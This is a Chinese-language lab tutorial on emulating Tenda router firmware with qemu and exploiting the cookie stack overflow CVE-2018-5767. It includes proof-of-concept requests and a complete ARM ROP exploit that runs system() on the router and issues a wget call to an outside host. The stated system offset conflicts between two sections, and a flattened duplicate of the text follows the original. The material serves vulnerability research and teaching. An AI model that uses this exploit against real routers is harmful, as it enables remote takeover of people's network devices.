某路由器固件模拟分析及栈溢出漏洞分析
字数 1704 2025-08-26 22:11:40

路由器固件模拟分析及栈溢出漏洞利用教学文档

1. 概述

本教学文档详细介绍了Tenda路由器固件模拟分析过程以及栈溢出漏洞(CVE-2018-5767)的利用方法。文档包含固件模拟环境搭建、网络环境修复、漏洞分析及利用的全过程。

2. 固件模拟环境搭建

2.1 准备工作

  1. 获取固件:

    • 从IoT-vulhub仓库下载:https://github.com/VulnTotal-Team/IoT-vulhub/tree/master/Tenda/CVE-2018-5767/firmware
  2. 提取固件:

    binwalk -Me 固件
    cd squashroot
    
  3. 准备qemu-arm模拟环境:

    cp $(which qemu-arm-static) ./
    sudo chroot . ./qemu-arm-static ./bin/httpd
    

2.2 初始运行问题分析

运行httpd后会卡在启动界面,通过IDA分析原因:

  1. 在IDA中搜索字符串"Welcome to..."定位到main函数
  2. 发现存在两个检查:
    • 网络检查(network check):未通过则进入休眠
    • 连接检查(connection check):未通过则打印连接失败

2.3 使用Keypatch进行patch

  1. 安装IDA Keypatch插件:
    • https://github.com/keystone-engine/keypatch
  2. 对两处检查进行patch,使其跳过检查

3. 网络环境修复

3.1 IP地址问题分析

  1. 通过字符串"listen ip"定位到sub_1A36C函数
  2. 使用gdb分析调用链:
# 启动httpd并开启调试端口
sudo chroot . ./qemu-arm-static -g 1234 ./bin/httpd

# 另起终端连接gdb
gdb-multiarch
set architecture arm
b *0x1A36C
target remote :1234
bt
  1. 通过IDA和gdb结合分析,确定调用链:
    sub_2CEA8(main函数) 
    -> sub_2D3F0(initWebs函数) 
    -> sub_28030 
    -> sub_28338 
    -> sub_1A36C
    

3.2 IP地址获取机制分析

  1. 分析getIfIp函数:

    • 位于libcommon.so中
    • 使用ioctl系统调用获取IP地址
    • 调用方式:ioctl(fd, 0x8915u, dest)
    • 0x8915对应SIOCGIFADDR,功能是获取接口地址
  2. 分析getLanIfName函数:

    • 位于libcommon.so中
    • 调用get_eth_name函数(位于libChipApi.so)
    • 参数写死为0,返回网卡名称
  3. 完整流程:

    • main函数调用getLanIfName -> get_eth_name获取网卡名称
    • 将网卡名称(br0)传递给getIfIp获取IP地址

3.3 解决方案

  1. 创建br0网卡并配置IP:

    sudo brctl addbr br0
    sudo ifconfig br0 192.168.2.3/24
    
  2. 修复webroot:

    cp -rf ./webroot_ro/* ./webroot/
    

4. 漏洞分析(CVE-2018-5767)

4.1 漏洞定位

  1. 漏洞位于R7WebsSecurityHandler函数
  2. 漏洞成因:
    • 未限制用户输入的cookie长度
    • sscanf解析参数时未限制长度,导致栈溢出

4.2 初始POC

import requests
url = "http://192.168.2.3/goform/xxx"
cookie = {"Cookie": "password=" + "A"*1000}
requests.get(url=url, cookies=cookie)

4.3 绕过检查

  1. 漏洞函数中存在对文件扩展名的检查:

    • 查找"."号地址
    • 通过memcmp判断是否为"gif、png、js、css、jpg、jpeg"
  2. 改进的POC:

import requests
url = "http://192.168.2.3/goform/xxx"
cookie = {"Cookie": "password=" + "A"*1000 + ".png"}
requests.get(url=url, cookies=cookie)

4.4 确定偏移量

  1. 使用cyclic模式确定偏移量为448

5. 漏洞利用

5.1 保护机制检查

  1. 使用checksec检查发现开启了NX保护
  2. 需要构造ROP链绕过NX

5.2 利用思路

  1. 找到system函数地址:

    • 获取libc基址
    • 计算system函数偏移(0x35cd4)
  2. 控制R0寄存器:

    • 查找gadget:mov r0, sp; blx r3
    • 地址:0x00040cb8
  3. 控制R3寄存器:

    • 查找gadget:pop {r3, pc}
    • 地址:0x00018298

5.3 ROP链构造

payload结构:

padding + gadget1(pop {r3, pc}) + system_addr + gadget2(mov r0, sp; blx r3) + cmd

5.4 完整EXP

import requests
from pwn import *

cmd = "wget 192.168.174.136"
libc_base = 0xff5d5000
system_offset = 0x0005a270
system_addr = libc_base + system_offset
gadget1 = libc_base + 0x00018298
gadget2 = libc_base + 0x00040cb8

payload = "A"*444 + ".png" + p32(gadget1) + p32(system_addr) + p32(gadget2) + cmd

url = "http://192.168.2.3/goform/xxx"
cookie = {"Cookie": "password=" + payload}
requests.get(url=url, cookies=cookie)

5.5 注意事项

  1. 使用qemu-user模拟时需要加上-strace才能看到system函数执行:
    sudo chroot . ./qemu-arm-static -strace ./bin/httpd
    

6. 总结

  1. 固件模拟关键点:

    • 网络检查patch
    • br0网卡创建
    • webroot修复
  2. 漏洞分析要点:

    • 定位漏洞函数
    • 绕过安全检查
    • 确定偏移量
  3. 漏洞利用技巧:

    • ROP链构造
    • 寄存器控制
    • 参数传递
  4. 调试技巧:

    • IDA静态分析
    • gdb动态调试
    • qemu-user模拟与系统模拟的选择

7. 参考工具

  1. IDA Pro:逆向分析
  2. Keypatch:IDA补丁插件
  3. binwalk:固件提取
  4. qemu-arm:模拟执行
  5. gdb-multiarch:调试
  6. ROPgadget:查找gadget
  7. Python requests:构造POC
路由器固件模拟分析及栈溢出漏洞利用教学文档 1. 概述 本教学文档详细介绍了Tenda路由器固件模拟分析过程以及栈溢出漏洞(CVE-2018-5767)的利用方法。文档包含固件模拟环境搭建、网络环境修复、漏洞分析及利用的全过程。 2. 固件模拟环境搭建 2.1 准备工作 获取固件: 从IoT-vulhub仓库下载:https://github.com/VulnTotal-Team/IoT-vulhub/tree/master/Tenda/CVE-2018-5767/firmware 提取固件: 准备qemu-arm模拟环境: 2.2 初始运行问题分析 运行httpd后会卡在启动界面,通过IDA分析原因: 在IDA中搜索字符串"Welcome to..."定位到main函数 发现存在两个检查: 网络检查(network check):未通过则进入休眠 连接检查(connection check):未通过则打印连接失败 2.3 使用Keypatch进行patch 安装IDA Keypatch插件: https://github.com/keystone-engine/keypatch 对两处检查进行patch,使其跳过检查 3. 网络环境修复 3.1 IP地址问题分析 通过字符串"listen ip"定位到sub_ 1A36C函数 使用gdb分析调用链: 通过IDA和gdb结合分析,确定调用链: 3.2 IP地址获取机制分析 分析getIfIp函数: 位于libcommon.so中 使用ioctl系统调用获取IP地址 调用方式: ioctl(fd, 0x8915u, dest) 0x8915对应SIOCGIFADDR,功能是获取接口地址 分析getLanIfName函数: 位于libcommon.so中 调用get_ eth_ name函数(位于libChipApi.so) 参数写死为0,返回网卡名称 完整流程: main函数调用getLanIfName -> get_ eth_ name获取网卡名称 将网卡名称(br0)传递给getIfIp获取IP地址 3.3 解决方案 创建br0网卡并配置IP: 修复webroot: 4. 漏洞分析(CVE-2018-5767) 4.1 漏洞定位 漏洞位于R7WebsSecurityHandler函数 漏洞成因: 未限制用户输入的cookie长度 sscanf解析参数时未限制长度,导致栈溢出 4.2 初始POC 4.3 绕过检查 漏洞函数中存在对文件扩展名的检查: 查找"."号地址 通过memcmp判断是否为"gif、png、js、css、jpg、jpeg" 改进的POC: 4.4 确定偏移量 使用cyclic模式确定偏移量为448 5. 漏洞利用 5.1 保护机制检查 使用checksec检查发现开启了NX保护 需要构造ROP链绕过NX 5.2 利用思路 找到system函数地址: 获取libc基址 计算system函数偏移(0x35cd4) 控制R0寄存器: 查找gadget: mov r0, sp; blx r3 地址:0x00040cb8 控制R3寄存器: 查找gadget: pop {r3, pc} 地址:0x00018298 5.3 ROP链构造 payload结构: 5.4 完整EXP 5.5 注意事项 使用qemu-user模拟时需要加上-strace才能看到system函数执行: 6. 总结 固件模拟关键点: 网络检查patch br0网卡创建 webroot修复 漏洞分析要点: 定位漏洞函数 绕过安全检查 确定偏移量 漏洞利用技巧: ROP链构造 寄存器控制 参数传递 调试技巧: IDA静态分析 gdb动态调试 qemu-user模拟与系统模拟的选择 7. 参考工具 IDA Pro:逆向分析 Keypatch:IDA补丁插件 binwalk:固件提取 qemu-arm:模拟执行 gdb-multiarch:调试 ROPgadget:查找gadget Python requests:构造POC